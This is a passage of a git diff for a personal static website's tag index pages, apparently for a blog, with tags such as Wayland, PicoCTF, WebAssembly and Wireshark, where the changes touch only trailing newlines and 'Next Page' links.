+1,4 @@ TIL - lavafroth
    \ No newline at end of file + \ No newline at end of file diff --git a/tags/troubleshooting/index.html b/tags/troubleshooting/index.html index a4d05fb7..1878f0eb 100644 --- a/tags/troubleshooting/index.html +++ b/tags/troubleshooting/index.html @@ -8,4 +8,4 @@ sbctl lanzaboote Troubleshooting - \ No newline at end of file + \ No newline at end of file diff --git a/tags/ui/index.html b/tags/ui/index.html index cc9e7056..eb8c8747 100644 --- a/tags/ui/index.html +++ b/tags/ui/index.html @@ -5,4 +5,4 @@ YouTube Animation Manim - \ No newline at end of file + \ No newline at end of file diff --git a/tags/video-editing/index.html b/tags/video-editing/index.html index 8ac3231b..d1b82917 100644 --- a/tags/video-editing/index.html +++ b/tags/video-editing/index.html @@ -4,4 +4,4 @@ Google Summer of Code Workflow Video Editing - \ No newline at end of file + \ No newline at end of file diff --git a/tags/visual-cryptography/index.html b/tags/visual-cryptography/index.html index 5a0af495..4787795b 100644 --- a/tags/visual-cryptography/index.html +++ b/tags/visual-cryptography/index.html @@ -4,4 +4,4 @@ PicoCTF Rust Visual Cryptography - \ No newline at end of file + \ No newline at end of file diff --git a/tags/waycrate/index.html b/tags/waycrate/index.html index 8371eb69..37e8e215 100644 --- a/tags/waycrate/index.html +++ b/tags/waycrate/index.html @@ -59,4 +59,4 @@ Waycrate Wayland \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/waycrate/page/2/index.html b/tags/waycrate/page/2/index.html index 49e0a474..2d03c105 100644 --- a/tags/waycrate/page/2/index.html +++ b/tags/waycrate/page/2/index.html @@ -5,4 +5,4 @@ Waycrate Wayland \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/wayland/index.html b/tags/wayland/index.html index b23297f1..518281f3 100644 --- a/tags/wayland/index.html +++ b/tags/wayland/index.html @@ -59,4 +59,4 @@ Waycrate Wayland \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/wayland/page/2/index.html b/tags/wayland/page/2/index.html index d7a53e0c..4ddba6db 100644 --- a/tags/wayland/page/2/index.html +++ b/tags/wayland/page/2/index.html @@ -15,4 +15,4 @@ EBNF Google Summer of Code \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/web-parsing/index.html b/tags/web-parsing/index.html index 6c8bff8e..dc0ba7b8 100644 --- a/tags/web-parsing/index.html +++ b/tags/web-parsing/index.html @@ -14,4 +14,4 @@ South Park Streaming Web Parsing - \ No newline at end of file + \ No newline at end of file diff --git a/tags/web/index.html b/tags/web/index.html index aa7a960d..1bfd8776 100644 --- a/tags/web/index.html +++ b/tags/web/index.html @@ -46,4 +46,4 @@ PicoCTF Python Web - \ No newline at end of file + \ No newline at end of file diff --git a/tags/webassembly/index.html b/tags/webassembly/index.html index bb77799b..9b9bcec9 100644 --- a/tags/webassembly/index.html +++ b/tags/webassembly/index.html @@ -3,4 +3,4 @@ Reverse Engineering Web WebAssembly - \ No newline at end of file + \ No newline at end of file diff --git a/tags/webgl/index.html b/tags/webgl/index.html index 73463eaf..aceeb376 100644 --- a/tags/webgl/index.html +++ b/tags/webgl/index.html @@ -4,4 +4,4 @@ 3D Animation GLSL - \ No newline at end of file + \ No newline at end of file diff --git a/tags/windows/index.html b/tags/windows/index.html index 96b278bc..3d14bfc5 100644 --- a/tags/windows/index.html +++ b/tags/windows/index.html @@ -1,4 +1,4 @@ Windows - lavafroth
    \ No newline at end of file + \ No newline at end of file diff --git a/tags/wireshark/index.html b/tags/wireshark/index.html index 029873db..4f33c501 100644 --- a/tags/wireshark/index.html +++ b/tags/wireshark/index.html @@ -7,4 +7,4 @@ Reverse Engineering Web Wireshark - \ No newline at end of file + \ No newline at end of file diff --git a/tags/workflow/index.html b/tags/workflow/index.html index 25e81c9f..977a708a 100644 --- a/tags/workflow/index.html +++ b/tags/workflow/index.html @@ -27,4 +27,4 @@ \ No newline at end of file + \ No newline at end of file diff --git a/tags/youtube/index.html b/tags/youtube/index.html index 988c0b1f..b6148a42 100644 --- a/tags/youtube/index.html +++ b/tags/youtube/index.html @@ -5,4 +5,4 @@ YouTube Animation Manim - \ No newline at end of file + \ No newline at end of file